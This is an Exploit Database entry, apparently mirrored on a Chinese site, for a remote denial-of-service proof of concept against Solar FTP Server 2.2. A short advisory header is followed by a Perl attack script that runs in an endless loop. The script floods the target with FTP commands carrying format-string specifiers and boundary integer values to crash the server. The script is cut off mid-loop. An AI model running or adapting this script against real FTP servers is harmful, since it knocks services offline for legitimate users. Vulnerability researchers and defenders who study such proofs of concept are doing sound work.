Solar FTP Server – Denial of Service

Exploit Database
113 阅读

作者： coolkaveh

日期： 2012-07-05
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/37480/

source: https://www.securityfocus.com/bid/54306/info

Solar FTP Server is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to force the affected application to become unresponsive, denying service to legitimate users.

Solar FTP Server 2.2 is vulnerable; other versions may also be affected.

# Exploit Title: Solar FTP Server 2.2 Remote DOS crash POC

# crash:http://img542.imageshack.us/img542/7633/solar.jpg

# Date: July 4, 2012

# Author: coolkaveh

# coolkaveh () rocketmail com

# https://twitter.com/coolkaveh

# Vendor Homepage: http://solarftp.com/

# Version: 2.2

# Tested on: windows XP SP3

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#When sending multiple parallel crafted request to a Solar FTP Server

it gets crash

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# Crappy Solar FTP Server Remote Denial Of Service

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#!/usr/bin/perl -w

use IO::Socket;

use Parallel::ForkManager;

$|=1;

sub usage {

print "Crappy FTP Server Remote Denial Of Service\n";

print "by coolkaveh\n";

print "usage: perl killftp.pl <host> \n";

print "example: perl Crappyftp.pl www.example.com \n";

}

$host=shift;

$port=shift || "21";

if(!defined($host)){

print "Crappy FTP Server Remote Denial Of Service\n";

print "by coolkaveh\n";

print "coolkaveh () rocketmail com\n";

print "usage: perl killftp.pl <host> \n";

print "example: perl Crappyftp.pl www.example.com \n";

exit(0);

}

$check_first=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60);

if(defined $check_first){

print "$host -> $port is alive.\n";

$check_first->close;

}

else{

die("$host -> $port is closed!\n");

}

@junk=('A'x5,'l%q%j%z%Z'x1000,

'%s%p%x%d','024d','%.2049d','%p%p%p%p','%x%x%x%x','%d%d%d%d','%s%s%s%s','%99999999999s',

'%08x','%%20d','%%20n','%%20x','%%20s','%s%s%s%s%s%s%s%s%s%s','%p%p%p%p%p%p%p%p%p%p',

'%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%','%s'x129,'%x'x57,'-1','0','0x100',

'0x1000','0x3fffffff','0x7ffffffe','0x7fffffff','0x80000000','0xfffffffe','0xffffffff','0x10000','0x100000','1',

);

@command=(

'NLST','CWD','STOR','RETR','RMD','DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE',

'APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE

L','TYPE I','NLST','CWD','MKD','RMD',

'DELE','RNFR','RNTO','LIST','MDTM','SIZE','STAT','ACCT','HELP','MODE',

'APPE','STRU','SITE','SITE INDEX','TYPE','TYPE A','TYPE E','TYPE

L','TYPE I','NLST','CWD',

);

print "Crashing Server!\n";

while (1) {

COMMAND_LIST: foreach $cmd (@command){

foreach $poc (@junk){

LABEL5: $sock4=IO::Socket::INET->new(PeerAddr=>$host,

PeerPort=>$port, Proto=>'tcp', Timeout=>30);

if(defined($sock4)){

$sock4->send("$cmd"." "."$poc\r\n", 0);

$sock4->send("$poc\r\n", 0);

}